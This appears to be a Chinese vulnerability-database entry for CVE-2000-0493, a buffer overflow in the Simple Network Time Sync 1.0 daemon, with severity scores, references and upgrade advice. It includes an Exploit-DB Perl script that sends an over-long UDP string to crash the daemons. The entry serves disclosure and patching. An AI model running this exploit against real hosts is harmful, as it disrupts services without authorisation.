CVE-2000-0493
CVSS10.0
发布时间 :2000-06-01 00:00:00
修订时间 :2008-09-10 15:04:48
NMCOE    

[原文]Buffer overflow in Simple Network Time Sync (SMTS) daemon allows remote attackers to cause a denial of service and possibly execute arbitrary commands via a long string.


[CNNVD]Simple Network Time Sync守护进程缓冲区溢出漏洞(CNNVD-200006-008)

        Time Sync守护进程存在缓冲区溢出漏洞。远程攻击者借助超长字符串导致拒绝服务或执行任意命令。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0493
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0493
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200006-008
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/static/4602.php
(VENDOR_ADVISORY)  XF  timesync-bo-execute
http://archives.neohapsis.com/archives/vuln-dev/2000-q2/0843.html
(VENDOR_ADVISORY)  VULN-DEV  20000601 Vulnerability in SNTS
http://www.securityfocus.com/bid/1289
(UNKNOWN)  BID  1289

- 漏洞信息

Simple Network Time Sync守护进程缓冲区溢出漏洞
危急 缓冲区溢出
2000-06-01 00:00:00 2005-05-02 00:00:00
远程  
        Time Sync守护进程存在缓冲区溢出漏洞。远程攻击者借助超长字符串导致拒绝服务或执行任意命令。

- 公告与补丁

        This issue has been corrected in version 1.0.1 and later. Users of previous versions are encouraged to upgrade. Latest version available at:
        http://www.redshift.com/~yramin/atp/snts/

- 漏洞信息 (19978)

Atrus Trivalie Productions Simple Network Time Sync 1.0 daemon Buffer Overflow (EDBID:19978)
linux remote
2000-06-01 Verified
0 Ben Taylor
N/A [点击下载]
source: http://www.securityfocus.com/bid/1289/info

A scanf overflow has been discovered in the Simple Network Time Sync daemon and client version 1.0. Currently the buffer overflow has been tested on RedHat 6.1. It may be possible to obtain root, although it appears one only has 50 characters to run code with.

#!/usr/bin/perl -w
#
# Usage: ./kill_sntsd <hostname>
#

use Socket;

send_packet(); # Needs to send 2 packets to kill the client and the server 
daemons
send_packet();

sub send_packet {

$proto = getprotobyname('udp');
$localaddr = gethostbyname("localhost") || die "error: $!\n";
$iaddr = gethostbyname($ARGV[0]) || die "$!\n";
$sin = sockaddr_in(724, $iaddr);
$paddr = sockaddr_in(53, $localaddr);
socket(SH, PF_INET, SOCK_DGRAM, $proto);
bind(SH, $paddr);

$|=1;

connect(SH, $sin) || die "$!\n";

# A string longer than 50 characters...
print SH "logistixlogistixlogistixlogistixlogistixlogistixlogistix\n";
close(SH);

}		

- 漏洞信息

1370
Simple Network Time Sync (SMTS) Daemon Long String Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public Third-party Verified

- 漏洞描述

- 时间线

2000-06-01 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 1.0.1 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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